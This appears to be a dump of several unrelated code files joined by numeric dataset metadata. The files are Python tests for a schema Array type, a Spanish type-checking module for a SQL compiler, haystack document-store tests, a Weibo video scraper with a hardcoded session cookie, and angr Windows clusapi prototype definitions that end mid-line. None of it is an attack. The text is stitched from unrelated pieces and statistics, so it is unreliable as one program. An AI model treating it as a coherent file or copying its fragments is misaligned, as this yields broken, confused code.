import unittest import flapi_schema.errors import flapi_schema.types class BasicSchema(flapi_schema.types.Schema): thing = flapi_schema.types.Bool() class ArrayTest(unittest.TestCase): def test_min_only(self): prop = flapi_schema.types.Array(flapi_schema.types.Bool, min_length=0) self.assertEqual(prop([True, True]), [True, True]) def test_min_only_out_of_range(self): prop = flapi_schema.types.Array(flapi_schema.types.Bool, min_length=1) self.assertRaises(flapi_schema.errors.SchemaValidationError, prop, []) def test_max_only(self): prop = flapi_schema.types.Array(flapi_schema.types.Bool, max_length=3) self.assertEqual(prop([True, True]), [True, True]) def test_max_only_out_of_range(self): prop = flapi_schema.types.Array(flapi_schema.types.Bool, max_length=3) self.assertRaises( flapi_schema.errors.SchemaValidationError, prop, [True, True, True, True] ) def test_min_and_max(self): prop = flapi_schema.types.Array( flapi_schema.types.Bool, min_length=0, max_length=3 ) self.assertEqual(prop([True, True]), [True, True]) def test_min_and_max_out_of_range(self): prop = flapi_schema.types.Array( flapi_schema.types.Bool, min_length=0, max_length=3 ) self.assertRaises( flapi_schema.errors.SchemaValidationError, prop, [True, True, True, True] ) def test_no_range(self): prop = flapi_schema.types.Array(flapi_schema.types.Bool) self.assertEqual(prop([True, True, True, True]), [True, True, True, True]) def test_array_of_property(self): prop = flapi_schema.types.Array(flapi_schema.types.Bool) self.assertEqual(prop([True, True]), [True, True]) def test_array_of_property_fails(self): prop = flapi_schema.types.Array(flapi_schema.types.Bool) self.assertRaises(flapi_schema.errors.SchemaValidationError, prop, [True, ""]) def test_wrong_type(self): prop = flapi_schema.types.Array(BasicSchema, callback=None) self.assertRaises(flapi_schema.errors.SchemaValidationError, prop, 12) def test_callback(self): prop = flapi_schema.types.Array( BasicSchema, callback=lambda v: [{"thing": True}] ) self.assertEqual(prop([{"thing": False}, {"thing": False}]), [{"thing": True}]) def test_no_callback(self): prop = flapi_schema.types.Array(BasicSchema, callback=None) self.assertEqual(prop([{"thing": False}]), [{"thing": False}])
37.478261
87
0.677108
330
2,586
5.078788
0.130303
0.196897
0.229117
0.136038
0.855609
0.855609
0.855609
0.74463
0.710024
0.636038
0
0.004824
0.198376
2,586
68
88
38.029412
0.803666
0
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0.384615
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0
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0.230769
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0.230769
false
0
0.057692
0
0.346154
0
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null
0
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1
1
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1
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1
0
0
0
0
0
0
0
8
d78765ce2387258c1ebbe7af31057e0c66a7f90a
8,885
py
Python
parser/fase2/team26/G26/C3D/expresiones.py
webdev188/tytus
847071edb17b218f51bb969d335a8ec093d13f94
[ "MIT" ]
35
2020-12-07T03:11:43.000Z
2021-04-15T17:38:16.000Z
parser/fase2/team26/G26/C3D/expresiones.py
webdev188/tytus
847071edb17b218f51bb969d335a8ec093d13f94
[ "MIT" ]
47
2020-12-09T01:29:09.000Z
2021-01-13T05:37:50.000Z
parser/fase2/team26/G26/C3D/expresiones.py
webdev188/tytus
847071edb17b218f51bb969d335a8ec093d13f94
[ "MIT" ]
556
2020-12-07T03:13:31.000Z
2021-06-17T17:41:10.000Z
import sys sys.path.append('../G26/Utils') sys.path.append('../G26/Expresiones') from Error import * from Primitivo import * def compararTiposBin(arg1, arg2, sign): try: s = arg1.type l = arg1 except: '' try: s = arg2.type r = arg2 except: '' if arg1.type == 'error': return arg1 if arg2.type == 'error': return arg2 left = l right = r if sign == '+': if left.type == 'integer' or left.type == 'float' or left.type == 'money': if right.type == 'integer' or right.type == 'float' or right.type == 'money': if left.type == 'float' or right.type == 'float' or left.type == 'money' or right.type == 'money': return Primitive('float', '') return Primitive('integer', '') return Error('Semántico', 'Error de tipos en MAS, no se puede operar ' + left.type + ' con ' + right.type, 0, 0) if sign == '-': if left.type == 'integer' or left.type == 'float' or left.type == 'money': if right.type == 'integer' or right.type == 'float' or right.type == 'money': if left.type == 'float' or right.type == 'float' or left.type == 'money' or right.type == 'money': return Primitive('float', '') return Primitive('integer', '') return Error('Semántico', 'Error de tipos en MENOS, no se puede operar ' + left.type + ' con ' + right.type, 0, 0) if sign == '/': if left.type == 'integer' or left.type == 'float': if right.type == 'integer' or right.type == 'float': if right.val == 0: return Error('Semántico', 'No es posible la division con 0', 0, 0) return Primitive('float', '') return Error('Semántico', 'Error de tipos en DIVISION, no se puede operar ' + left.type + ' con ' + right.type, 0, 0) if sign == '*': if left.type == 'integer' or left.type == 'float' or left.type == 'money': if right.type == 'integer' or right.type == 'float' or right.type == 'money': if left.type == 'float' or right.type == 'float' or left.type == 'money' or right.type == 'money': return Primitive('float', '') return Primitive('integer', '') return Error('Semántico', 'Error de tipos en MULTIPLICACION, no se puede operar ' + left.type + ' con ' + right.type, 0, 0) if sign == '%': if left.type == 'integer' or left.type == 'float': if right.type == 'integer' or right.type == 'float': return Primitive('integer', '') return Error('Semántico', 'Error de tipos en PORCENTAJE, no se puede operar ' + left.type + ' con ' + right.type, 0, 0) if sign == '^': if left.type == 'integer' or left.type == 'float' or left.type == 'money': if right.type == 'integer' or right.type == 'float' or right.type == 'money': if left.type == 'float' or right.type == 'float' or left.type == 'money' or right.type == 'money': return Primitive('float', '') return Primitive('integer', '') return Error('Semántico', 'Error de tipos en POTENCIA, no se puede operar ' + left.type + ' con ' + right.type, 0, 0) return Primitive('float', '') def compararTiposCon(arg1, arg2, sign, arg3): try: s = arg1.type l = arg1 except: '' try: s = arg2.type r = arg2 except: r = '' try: s = arg3.type e = arg3 except: e = '' print(arg1) print(arg2) print(arg3) if arg1.type == 'error': return arg1 try: if arg2.type == 'error': return arg2 except: '' try: if arg3.type == 'error': return arg3 except: '' left = l right = r extra = e if sign == '<': if left.type == 'integer' or left.type == 'float' or left.type == 'money': if right.type == 'integer' or right.type == 'float' or right.type == 'money': return Primitive('boolean', '') if left.type == 'string' or left.type == 'date' or left.type == 'time': if right.type == 'string' or right.type == 'date' or right.type == 'time': return Primitive('boolean', '') return Error('Semántico', 'Error de tipos en MENOR QUE, no se puede operar ' + left.type + ' con ' + right.type, 0, 0) if sign == '<=': if left.type == 'integer' or left.type == 'float' or left.type == 'money': if right.type == 'integer' or right.type == 'float' or right.type == 'money': return Primitive('boolean', '') if left.type == 'string' or left.type == 'date' or left.type == 'time': if right.type == 'string' or right.type == 'date' or right.type == 'time': return Primitive('boolean', '') return Error('Semántico', 'Error de tipos en MENOR IGUAL QUE, no se puede operar ' + left.type + ' con ' + right.type, 0, 0) if sign == '>': if left.type == 'integer' or left.type == 'float' or left.type == 'money': if right.type == 'integer' or right.type == 'float' or right.type == 'money': return Primitive('boolean', '') if left.type == 'string' or left.type == 'date' or left.type == 'time': if right.type == 'string' or right.type == 'date' or right.type == 'time': return Primitive('boolean', '') if left.type == 'boolean' and right.type == 'boolean': return Primitive('boolean', '') return Error('Semántico', 'Error de tipos en MAYOR QUE, no se puede operar ' + left.type + ' con ' + right.type, 0, 0) if sign == '>=': if left.type == 'integer' or left.type == 'float' or left.type == 'money': if right.type == 'integer' or right.type == 'float' or right.type == 'money': return Primitive('boolean', '') if left.type == 'string' or left.type == 'date' or left.type == 'time': if right.type == 'string' or right.type == 'date' or right.type == 'time': return Primitive('boolean', '') if left.type == 'boolean' and right.type == 'boolean': return Primitive('boolean', '') return Error('Semántico', 'Error de tipos en MAYOR IGUAL QUE, no se puede operar ' + left.type + ' con ' + right.type, 0, 0) if sign == '=': if left.type == 'integer' or left.type == 'float' or left.type == 'money': if right.type == 'integer' or right.type == 'float' or right.type == 'money': return Primitive('boolean', '') if left.type == 'string' or left.type == 'date' or left.type == 'time': if right.type == 'string' or right.type == 'date' or right.type == 'time': return Primitive('boolean', '') if left.type == 'boolean' and right.type == 'boolean': return Primitive('boolean', '') return Error('Semántico', 'Error de tipos en IGUAL, no se puede operar ' + left.type + ' con ' + right.type, 0, 0) if sign == '<>' or sign == '!=': if left.type == 'integer' or left.type == 'float' or left.type == 'money': if right.type == 'integer' or right.type == 'float' or right.type == 'money': return Primitive('boolean', '') if left.type == 'string' or left.type == 'date' or left.type == 'time': if right.type == 'string' or right.type == 'date' or right.type == 'time': return Primitive('boolean', '') if left.type == 'boolean' and right.type == 'boolean': return Primitive('boolean', '') return Error('Semántico', 'Error de tipos en DIFERENTE, no se puede operar ' + left.type + ' con ' + right.type, 0, 0) if sign == 'between' or sign == 'not': if left.type == 'integer' or left.type == 'float' or left.type == 'money': if right.type == 'integer' or right.type == 'float' or right.type == 'money': if extra.type == 'integer' or extra.type == 'float' or extra.type == 'money': return Primitive('boolean', '') if left.type == 'string' or left.type == 'date' or left.type == 'time': if right.type == 'string' or right.type == 'date' or right.type == 'time': if extra.type == 'integer' or extra.type == 'float' or extra.type == 'money': return Primitive('boolean', '') if left.type == 'boolean' and right.type == 'boolean' and extra.type == 'boolean': return Primitive('boolean', '') return Error('Semántico', 'Error de tipos en BETWEEN, no se puede operar ' + left.type + ' con ' + right.type, 0, 0) return Primitive('boolean', '')
45.564103
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8,885
4.264919
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0.107272
0.057664
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0.90142
0.88022
0.873013
0.873013
0.873013
0
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0.305234
8,885
194
133
45.798969
0.75409
0
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0.722892
0
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0
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0.012048
false
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0
0.331325
0.018072
0
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0
0
0
7
d78f57ba200fa1a90dcecc8c5ffdf08a3e4320c0
4,444
py
Python
test/test_in_memory_store.py
arthurbarros/haystack
886f5ba90ed15aecd10c509a8e57334eefcf69c2
[ "Apache-2.0" ]
null
null
null
test/test_in_memory_store.py
arthurbarros/haystack
886f5ba90ed15aecd10c509a8e57334eefcf69c2
[ "Apache-2.0" ]
null
null
null
test/test_in_memory_store.py
arthurbarros/haystack
886f5ba90ed15aecd10c509a8e57334eefcf69c2
[ "Apache-2.0" ]
null
null
null
from haystack import Finder from haystack.reader.transformers import TransformersReader from haystack.retriever.tfidf import TfidfRetriever def test_finder_get_answers_with_in_memory_store(): test_docs = [ {"name": "testing the finder 1", "text": "testing the finder with pyhton unit test 1", 'meta': {'url': 'url'}}, {"name": "testing the finder 2", "text": "testing the finder with pyhton unit test 2", 'meta': {'url': 'url'}}, {"name": "testing the finder 3", "text": "testing the finder with pyhton unit test 3", 'meta': {'url': 'url'}} ] from haystack.database.memory import InMemoryDocumentStore document_store = InMemoryDocumentStore() document_store.write_documents(test_docs) retriever = TfidfRetriever(document_store=document_store) reader = TransformersReader(model="distilbert-base-uncased-distilled-squad", tokenizer="distilbert-base-uncased", use_gpu=-1) finder = Finder(reader, retriever) prediction = finder.get_answers(question="testing finder", top_k_retriever=10, top_k_reader=5) assert prediction is not None def test_memory_store_get_by_tags(): test_docs = [ {"name": "testing the finder 1", "text": "testing the finder with pyhton unit test 1", 'meta': {'url': 'url'}}, {"name": "testing the finder 2", "text": "testing the finder with pyhton unit test 2", 'meta': {'url': None}}, {"name": "testing the finder 3", "text": "testing the finder with pyhton unit test 3", 'meta': {'url': 'url'}} ] from haystack.database.memory import InMemoryDocumentStore document_store = InMemoryDocumentStore() document_store.write_documents(test_docs) docs = document_store.get_document_ids_by_tags({'has_url': 'false'}) assert docs == [] def test_memory_store_get_by_tag_lists_union(): test_docs = [ {"name": "testing the finder 1", "text": "testing the finder with pyhton unit test 1", 'meta': {'url': 'url'}, 'tags': [{'tag2': ["1"]}]}, {"name": "testing the finder 2", "text": "testing the finder with pyhton unit test 2", 'meta': {'url': None}, 'tags': [{'tag1': ['1']}]}, {"name": "testing the finder 3", "text": "testing the finder with pyhton unit test 3", 'meta': {'url': 'url'}, 'tags': [{'tag2': ["1", "2"]}]} ] from haystack.database.memory import InMemoryDocumentStore document_store = InMemoryDocumentStore() document_store.write_documents(test_docs) docs = document_store.get_document_ids_by_tags({'tag2': ["1"]}) assert docs == [ {'name': 'testing the finder 1', 'text': 'testing the finder with pyhton unit test 1', 'meta': {'url': 'url'}, 'tags': [{'tag2': ['1']}]}, {'name': 'testing the finder 3', 'text': 'testing the finder with pyhton unit test 3', 'meta': {'url': 'url'}, 'tags': [{'tag2': ['1', '2']}]} ] def test_memory_store_get_by_tag_lists_non_existent_tag(): test_docs = [ {"name": "testing the finder 1", "text": "testing the finder with pyhton unit test 1", 'meta': {'url': 'url'}, 'tags': [{'tag1': ["1"]}]}, ] from haystack.database.memory import InMemoryDocumentStore document_store = InMemoryDocumentStore() document_store.write_documents(test_docs) docs = document_store.get_document_ids_by_tags({'tag1': ["3"]}) assert docs == [] def test_memory_store_get_by_tag_lists_disjoint(): test_docs = [ {"name": "testing the finder 1", "text": "testing the finder with pyhton unit test 1", 'meta': {'url': 'url'}, 'tags': [{'tag1': ["1"]}]}, {"name": "testing the finder 2", "text": "testing the finder with pyhton unit test 2", 'meta': {'url': None}, 'tags': [{'tag2': ['1']}]}, {"name": "testing the finder 3", "text": "testing the finder with pyhton unit test 3", 'meta': {'url': 'url'}, 'tags': [{'tag3': ["1", "2"]}]}, {"name": "testing the finder 4", "text": "testing the finder with pyhton unit test 3", 'meta': {'url': 'url'}, 'tags': [{'tag3': ["1", "3"]}]} ] from haystack.database.memory import InMemoryDocumentStore document_store = InMemoryDocumentStore() document_store.write_documents(test_docs) docs = document_store.get_document_ids_by_tags({'tag3': ["3"]}) assert docs == [{'name': 'testing the finder 4', 'text': 'testing the finder with pyhton unit test 3', 'meta': {'url': 'url'}, 'tags': [{'tag3': ['1', '3']}]}]
51.08046
163
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0.791045
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0.076923
false
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7
d79076f8a625f064bd9acb31291e908a6130ef52
5,393
py
Python
step1/weibo.py
karoyqiu/xbmc-kodi-private-china-addons
e63026c15a72736f7a9d04480639891979b36cca
[ "MIT" ]
420
2020-03-03T06:41:55.000Z
2022-03-31T00:10:43.000Z
step1/weibo.py
karoyqiu/xbmc-kodi-private-china-addons
e63026c15a72736f7a9d04480639891979b36cca
[ "MIT" ]
21
2020-05-19T00:05:14.000Z
2022-02-18T16:34:31.000Z
step1/weibo.py
karoyqiu/xbmc-kodi-private-china-addons
e63026c15a72736f7a9d04480639891979b36cca
[ "MIT" ]
72
2020-04-06T13:15:39.000Z
2022-03-31T23:23:51.000Z
#热门推荐（纪录片，评测，娱乐都没有） import json import requests import re from bs4 import BeautifulSoup import urllib url = 'https://weibo.com/video/aj/load?ajwvr=6&page=2&type=channel&hot_recommend_containerid=video_tag_15&__rnd=1584096137063' cookies = dict(SUB='_2AkMpN-raf8NxqwJRmfoXxGniZIl_ygvEieKfaxsBJRMxHRl-yj92qhFTtRB6ArfENQBVM_xipNLvZYca4pNo4lw7p9Xi') headers = {'user-agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36'} rec = requests.get(url,headers=headers,cookies=cookies) rec.encoding = 'utf-8' rectext = rec.text print(rectext) num = re.sub(r'\\n', "", rectext) num = re.sub(r'\\', "", num) print(num) soup = BeautifulSoup(num, 'html.parser') list = soup.find_all('div',class_='V_list_a') print(len(list)) for index in range(len(list)): #soup = BeautifulSoup(list[index], 'html.parser') videosource = list[index]['video-sources'] videosource = urllib.parse.unquote(videosource,encoding='utf-8',errors='replace') videosource = urllib.parse.unquote(videosource,encoding='utf-8',errors='replace') videosource = videosource[8:] mp4 = videosource.split('http:') #q = videosource imgsrc = list[index].find('img') imgsrc = imgsrc['src'] title = list[index]['action-data'] str1 = title.find('&title=') str2 = title.find('&uid=') title = title[str1+7:str2] title = urllib.parse.unquote(title,encoding='utf-8',errors='replace') print(title) print('http:' + imgsrc[6:]) print('http:' + mp4[0]) print('*******'*30) #编辑推荐 import json import requests import re from bs4 import BeautifulSoup import urllib url = 'https://weibo.com/tv?type=channel&first_level_channel_id=4453781547450385&broadcast_id=4476916414218244' cookies = dict(SUB='_2AkMpN-raf8NxqwJRmfoXxGniZIl_ygvEieKfaxsBJRMxHRl-yj92qhFTtRB6ArfENQBVM_xipNLvZYca4pNo4lw7p9Xi') headers = {'user-agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36'} rec = requests.get(url,headers=headers,cookies=cookies) rec.encoding = 'utf-8' rectext = rec.text #print(rectext) soup = BeautifulSoup(rectext, 'html.parser') list = soup.find_all('div',class_='V_list_a') for index in range(len(list)): videosource = list[index]['video-sources'] videosource = urllib.parse.unquote(videosource,encoding='utf-8',errors='replace') videosource = urllib.parse.unquote(videosource,encoding='utf-8',errors='replace') videosource = videosource[8:] mp4 = videosource.split('http:') img = list[index].find('img') img = img['src'] if img[0:4] == 'http': img = 'http' + img[5:] else: img = 'http:' + img title = list[index].find('h3') print(title.text) print(img) print('http:' + mp4[len(mp4)-1]) #排行榜 import json import requests import re from bs4 import BeautifulSoup import urllib url = 'https://weibo.com/tv?type=dayrank' cookies = dict(SUB='_2AkMpN-raf8NxqwJRmfoXxGniZIl_ygvEieKfaxsBJRMxHRl-yj92qhFTtRB6ArfENQBVM_xipNLvZYca4pNo4lw7p9Xi') headers = {'user-agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36'} rec = requests.get(url,headers=headers,cookies=cookies) rec.encoding = 'utf-8' rectext = rec.text #print(rectext) soup = BeautifulSoup(rectext, 'html.parser') list = soup.find_all('div',class_='V_list_a') for index in range(len(list)): videosource = list[index]['video-sources'] videosource = urllib.parse.unquote(videosource,encoding='utf-8',errors='replace') videosource = urllib.parse.unquote(videosource,encoding='utf-8',errors='replace') videosource = videosource[8:] mp4 = videosource.split('http:') img = list[index].find('img') img = img['src'] if img[0:4] == 'http': img = 'http' + img[5:] else: img = 'http:' + img title = list[index].find('h3') title = title.text title = title.replace(' ', '').replace('\n','') if len(title) > 40: title = title[:40] + '...' print(title) print(img) print('http:' + mp4[len(mp4)-1]) #故事 import json import requests import re from bs4 import BeautifulSoup import urllib url = 'https://weibo.com/tv?type=story' cookies = dict(SUB='_2AkMpN-raf8NxqwJRmfoXxGniZIl_ygvEieKfaxsBJRMxHRl-yj92qhFTtRB6ArfENQBVM_xipNLvZYca4pNo4lw7p9Xi') headers = {'user-agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36'} rec = requests.get(url,headers=headers,cookies=cookies) rec.encoding = 'utf-8' rectext = rec.text #print(rectext) soup = BeautifulSoup(rectext, 'html.parser') list = soup.find_all('div',class_='V_list_b') for index in range(len(list)): #print(list[index]) if list[index]['action-data'][:9] != 'type=live': videosource = list[index]['video-sources'] videosource = urllib.parse.unquote(videosource,encoding='utf-8',errors='replace') videosource = urllib.parse.unquote(videosource,encoding='utf-8',errors='replace') videosource = videosource[8:] mp4 = videosource.split('http:') img = list[index].find('img') img = img['src'] if img[0:4] == 'http': img = 'http' + img[5:] else: img = 'http:' + img like = list[index].find('div',class_='like') like = like.text likenum = re.findall(r'\d+',like) print(str(likenum[0] + '赞')) print(img) print('http:' + mp4[len(mp4)-1]) else: index = index +1
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ad5f9d9a2bb3b2591d04a9e45b96929d3bd5a002
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Python
angr/procedures/definitions/win32_clusapi.py
r4b3rt/angr
c133cfd4f83ffea2a1d9e064241e9459eaabc55f
[ "BSD-2-Clause" ]
null
null
null
angr/procedures/definitions/win32_clusapi.py
r4b3rt/angr
c133cfd4f83ffea2a1d9e064241e9459eaabc55f
[ "BSD-2-Clause" ]
null
null
null
angr/procedures/definitions/win32_clusapi.py
r4b3rt/angr
c133cfd4f83ffea2a1d9e064241e9459eaabc55f
[ "BSD-2-Clause" ]
null
null
null
# pylint:disable=line-too-long import logging from ...sim_type import SimTypeFunction, SimTypeShort, SimTypeInt, SimTypeLong, SimTypeLongLong, SimTypeDouble, SimTypeFloat, SimTypePointer, SimTypeChar, SimStruct, SimTypeFixedSizeArray, SimTypeBottom, SimUnion, SimTypeBool from ...calling_conventions import SimCCStdcall, SimCCMicrosoftAMD64 from .. import SIM_PROCEDURES as P from . import SimLibrary _l = logging.getLogger(name=__name__) lib = SimLibrary() lib.set_default_cc('X86', SimCCStdcall) lib.set_default_cc('AMD64', SimCCMicrosoftAMD64) lib.set_library_names("clusapi.dll") prototypes = \ { # 'GetNodeClusterState': SimTypeFunction([SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["lpszNodeName", "pdwClusterState"]), # 'OpenCluster': SimTypeFunction([SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), arg_names=["lpszClusterName"]), # 'OpenClusterEx': SimTypeFunction([SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), arg_names=["lpszClusterName", "DesiredAccess", "GrantedAccess"]), # 'CloseCluster': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hCluster"]), # 'SetClusterName': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hCluster", "lpszNewClusterName"]), # 'GetClusterInformation': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), label="LPArray", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimStruct({"dwVersionInfoSize": SimTypeInt(signed=False, label="UInt32"), "MajorVersion": SimTypeShort(signed=False, label="UInt16"), "MinorVersion": SimTypeShort(signed=False, label="UInt16"), "BuildNumber": SimTypeShort(signed=False, label="UInt16"), "szVendorId": SimTypeFixedSizeArray(SimTypeChar(label="Char"), 64), "szCSDVersion": SimTypeFixedSizeArray(SimTypeChar(label="Char"), 64), "dwClusterHighestVersion": SimTypeInt(signed=False, label="UInt32"), "dwClusterLowestVersion": SimTypeInt(signed=False, label="UInt32"), "dwFlags": SimTypeInt(signed=False, label="UInt32"), "dwReserved": SimTypeInt(signed=False, label="UInt32")}, name="CLUSTERVERSIONINFO", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hCluster", "lpszClusterName", "lpcchClusterName", "lpClusterInfo"]), # 'GetClusterQuorumResource': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), label="LPArray", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeChar(label="Char"), label="LPArray", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hCluster", "lpszResourceName", "lpcchResourceName", "lpszDeviceName", "lpcchDeviceName", "lpdwMaxQuorumLogSize"]), # 'SetClusterQuorumResource': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["hResource", "lpszDeviceName", "dwMaxQuoLogSize"]), # 'BackupClusterDatabase': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hCluster", "lpszPathName"]), # 'RestoreClusterDatabase': SimTypeFunction([SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=True, label="Int32"), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["lpszPathName", "bForce", "lpszQuorumDriveLetter"]), # 'SetClusterNetworkPriorityOrder': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypePointer(SimStruct({}, name="_HNETWORK", pack=False, align=None), offset=0), label="LPArray", offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hCluster", "NetworkCount", "NetworkList"]), # 'SetClusterServiceAccountPassword': SimTypeFunction([SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimStruct({"NodeId": SimTypeInt(signed=False, label="UInt32"), "SetAttempted": SimTypeChar(label="Byte"), "ReturnStatus": SimTypeInt(signed=False, label="UInt32")}, name="CLUSTER_SET_PASSWORD_STATUS", pack=False, align=None), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["lpszClusterName", "lpszNewPassword", "dwFlags", "lpReturnStatusBuffer", "lpcbReturnStatusBufferSize"]), # 'ClusterControl': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hCluster", "hHostNode", "dwControlCode", "lpInBuffer", "nInBufferSize", "lpOutBuffer", "nOutBufferSize", "lpBytesReturned"]), # 'ClusterUpgradeFunctionalLevel': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypeInt(signed=True, label="Int32"), SimTypePointer(SimTypeFunction([SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="CLUSTER_UPGRADE_PHASE")], SimTypeInt(signed=True, label="Int32"), arg_names=["pvCallbackArg", "eUpgradePhase"]), offset=0), SimTypePointer(SimTypeBottom(label="Void"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hCluster", "perform", "pfnProgressCallback", "pvCallbackArg"]), # 'CreateClusterNotifyPortV2': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCHANGE", pack=False, align=None), offset=0), SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimStruct({"dwObjectType": SimTypeInt(signed=False, label="UInt32"), "FilterFlags": SimTypeLongLong(signed=True, label="Int64")}, name="NOTIFY_FILTER_AND_TYPE", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=False, label="UInt"), label="UIntPtr", offset=0)], SimTypePointer(SimStruct({}, name="_HCHANGE", pack=False, align=None), offset=0), arg_names=["hChange", "hCluster", "Filters", "dwFilterCount", "dwNotifyKey"]), # 'RegisterClusterNotifyV2': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCHANGE", pack=False, align=None), offset=0), SimStruct({"dwObjectType": SimTypeInt(signed=False, label="UInt32"), "FilterFlags": SimTypeLongLong(signed=True, label="Int64")}, name="NOTIFY_FILTER_AND_TYPE", pack=False, align=None), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt"), label="UIntPtr", offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hChange", "Filter", "hObject", "dwNotifyKey"]), # 'GetNotifyEventHandle': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCHANGE", pack=False, align=None), offset=0), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hChange", "lphTargetEvent"]), # 'GetClusterNotifyV2': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCHANGE", pack=False, align=None), offset=0), SimTypePointer(SimTypePointer(SimTypeInt(signed=False, label="UInt"), label="UIntPtr", offset=0), offset=0), SimTypePointer(SimStruct({"dwObjectType": SimTypeInt(signed=False, label="UInt32"), "FilterFlags": SimTypeLongLong(signed=True, label="Int64")}, name="NOTIFY_FILTER_AND_TYPE", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Byte"), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeChar(label="Char"), label="LPArray", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeChar(label="Char"), label="LPArray", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeChar(label="Char"), label="LPArray", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeChar(label="Char"), label="LPArray", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["hChange", "lpdwNotifyKey", "pFilterAndType", "buffer", "lpbBufferSize", "lpszObjectId", "lpcchObjectId", "lpszParentId", "lpcchParentId", "lpszName", "lpcchName", "lpszType", "lpcchType", "dwMilliseconds"]), # 'CreateClusterNotifyPort': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCHANGE", pack=False, align=None), offset=0), SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=False, 